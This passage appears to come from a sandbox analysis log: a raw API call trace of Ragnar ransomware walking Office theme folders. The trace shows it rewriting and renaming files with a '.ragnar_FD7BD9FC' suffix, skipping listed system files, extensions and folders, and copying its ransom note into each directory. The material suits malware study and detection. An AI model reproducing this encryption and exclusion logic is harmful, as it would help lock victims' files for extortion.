dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.762] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=960) returned 1 [0093.762] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.762] GetProcessHeap () returned 0x580000 [0093.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.762] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.764] VirtualAlloc (lpAddress=0x0, dwSize=0x3c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.764] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.764] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.764] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c0, lpOverlapped=0x0) returned 1 [0093.764] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.764] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.764] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c0, lpOverlapped=0x0) returned 1 [0093.764] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.764] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.765] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.765] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.765] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.765] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.765] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.765] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.765] GetProcessHeap () returned 0x580000 [0093.765] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.765] CloseHandle (hObject=0x10c) returned 1 [0093.765] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" [0093.765] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.ragnar_FD7BD9FC" [0093.765] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.766] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0093.766] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.766] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Waveform.xml" | out: lpString1="Waveform.xml") returned="Waveform.xml" [0093.766] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml") returned=".xml" [0093.766] lstrcmpiW (lpString1="Waveform.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.766] lstrcmpiW (lpString1="Waveform.xml", lpString2="autorun.inf") returned 1 [0093.766] lstrcmpiW (lpString1="Waveform.xml", lpString2="boot.ini") returned 1 [0093.766] lstrcmpiW (lpString1="Waveform.xml", lpString2="bootfont.bin") returned 1 [0093.766] lstrcmpiW (lpString1="Waveform.xml", lpString2="bootsect.bak") returned 1 [0093.766] lstrcmpiW (lpString1="Waveform.xml", lpString2="bootmgr") returned 1 [0093.766] lstrcmpiW (lpString1="Waveform.xml", lpString2="bootmgr.efi") returned 1 [0093.766] lstrcmpiW (lpString1="Waveform.xml", lpString2="bootmgfw.efi") returned 1 [0093.766] lstrcmpiW (lpString1="Waveform.xml", lpString2="desktop.ini") returned 1 [0093.766] lstrcmpiW (lpString1="Waveform.xml", lpString2="iconcache.db") returned 1 [0093.766] lstrcmpiW (lpString1="Waveform.xml", lpString2="ntldr") returned 1 [0093.766] lstrcmpiW (lpString1="Waveform.xml", lpString2="ntuser.dat") returned 1 [0093.766] lstrcmpiW (lpString1="Waveform.xml", lpString2="ntuser.dat.log") returned 1 [0093.766] lstrcmpiW (lpString1="Waveform.xml", lpString2="ntuser.ini") returned 1 [0093.766] lstrcmpiW (lpString1="Waveform.xml", lpString2="thumbs.db") returned 1 [0093.766] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.766] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.766] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.766] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.767] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.767] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.767] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml")) returned 0x20 [0093.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.767] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=963) returned 1 [0093.767] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.767] GetProcessHeap () returned 0x580000 [0093.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.767] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.769] VirtualAlloc (lpAddress=0x0, dwSize=0x3c3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.769] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.769] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.769] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c3, lpOverlapped=0x0) returned 1 [0093.769] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.769] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c3, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.769] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c3, lpOverlapped=0x0) returned 1 [0093.770] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.770] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.770] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.770] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.770] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.770] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.770] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.770] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.770] GetProcessHeap () returned 0x580000 [0093.770] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.770] CloseHandle (hObject=0x10c) returned 1 [0093.770] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" [0093.770] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.ragnar_FD7BD9FC" [0093.770] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.771] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0093.771] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0093.771] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0093.771] lstrcmpiW (lpString1="Theme Effects", lpString2=".") returned 1 [0093.771] lstrcmpiW (lpString1="Theme Effects", lpString2="..") returned 1 [0093.771] lstrcmpiW (lpString1="Theme Effects", lpString2="Windows") returned -1 [0093.771] lstrcmpiW (lpString1="Theme Effects", lpString2="Windows.old") returned -1 [0093.771] lstrcmpiW (lpString1="Theme Effects", lpString2="Tor browser") returned -1 [0093.771] lstrcmpiW (lpString1="Theme Effects", lpString2="Internet Explorer") returned 1 [0093.771] lstrcmpiW (lpString1="Theme Effects", lpString2="Google") returned 1 [0093.771] lstrcmpiW (lpString1="Theme Effects", lpString2="Opera") returned 1 [0093.771] lstrcmpiW (lpString1="Theme Effects", lpString2="Opera Software") returned 1 [0093.772] lstrcmpiW (lpString1="Theme Effects", lpString2="Mozilla") returned 1 [0093.772] lstrcmpiW (lpString1="Theme Effects", lpString2="Mozilla Firefox") returned 1 [0093.772] lstrcmpiW (lpString1="Theme Effects", lpString2="$Recycle.Bin") returned 1 [0093.772] lstrcmpiW (lpString1="Theme Effects", lpString2="ProgramData") returned 1 [0093.772] lstrcmpiW (lpString1="Theme Effects", lpString2="All Users") returned 1 [0093.772] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0093.772] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Theme Effects" | out: lpString1="Theme Effects") returned="Theme Effects" [0093.772] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0093.772] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0093.772] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\RGNR_FD7BD9FC.txt" [0093.772] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0093.776] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*" [0093.776] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.776] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0093.776] lstrcpyW (in: lpString1=0x1eb23a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0093.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8a228760, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8a228760, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0093.779] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0093.779] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8a228760, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8a228760, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.780] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0093.780] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0093.780] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x61c8a500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5261, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.eftx", cAlternateFileName="ADJACE~1.EFT")) returned 1 [0093.780] lstrcmpiW (lpString1="Adjacency.eftx", lpString2=".") returned 1 [0093.780] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="..") returned 1 [0093.780] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c2c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x655c2c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6ae5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.eftx", cAlternateFileName="ANGLES~1.EFT")) returned 1 [0093.780] lstrcmpiW (lpString1="Angles.eftx", lpString2=".") returned 1 [0093.780] lstrcmpiW (lpString1="Angles.eftx", lpString2="..") returned 1 [0093.780] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x354c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.eftx", cAlternateFileName="APEX~1.EFT")) returned 1 [0093.780] lstrcmpiW (lpString1="Apex.eftx", lpString2=".") returned 1 [0093.780] lstrcmpiW (lpString1="Apex.eftx", lpString2="..") returned 1 [0093.780] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f368c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f368c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbf81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.eftx", cAlternateFileName="APOTHE~1.EFT")) returned 1 [0093.780] lstrcmpiW (lpString1="Apothecary.eftx", lpString2=".") returned 1 [0093.780] lstrcmpiW (lpString1="Apothecary.eftx", lpString2="..") returned 1 [0093.780] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39bc200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x39bc200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x581a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.eftx", cAlternateFileName="ASPECT~1.EFT")) returned 1 [0093.780] lstrcmpiW (lpString1="Aspect.eftx", lpString2=".") returned 1 [0093.780] lstrcmpiW (lpString1="Aspect.eftx", lpString2="..") returned 1 [0093.780] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ca1300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42ca1300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x696d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.eftx", cAlternateFileName="AUSTIN~1.EFT")) returned 1 [0093.781] lstrcmpiW (lpString1="Austin.eftx", lpString2=".") returned 1 [0093.781] lstrcmpiW (lpString1="Austin.eftx", lpString2="..") returned 1 [0093.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68efb300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68efb300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96e87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.eftx", cAlternateFileName="BLACKT~1.EFT")) returned 1 [0093.781] lstrcmpiW (lpString1="Black Tie.eftx", lpString2=".") returned 1 [0093.781] lstrcmpiW (lpString1="Black Tie.eftx", lpString2="..") returned 1 [0093.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f4900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72f4900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa7a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.eftx", cAlternateFileName="CIVIC~1.EFT")) returned 1 [0093.781] lstrcmpiW (lpString1="Civic.eftx", lpString2=".") returned 1 [0093.781] lstrcmpiW (lpString1="Civic.eftx", lpString2="..") returned 1 [0093.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x465d9a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x465d9a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8032, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.eftx", cAlternateFileName="CLARIT~1.EFT")) returned 1 [0093.781] lstrcmpiW (lpString1="Clarity.eftx", lpString2=".") returned 1 [0093.781] lstrcmpiW (lpString1="Clarity.eftx", lpString2="..") returned 1 [0093.781] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: 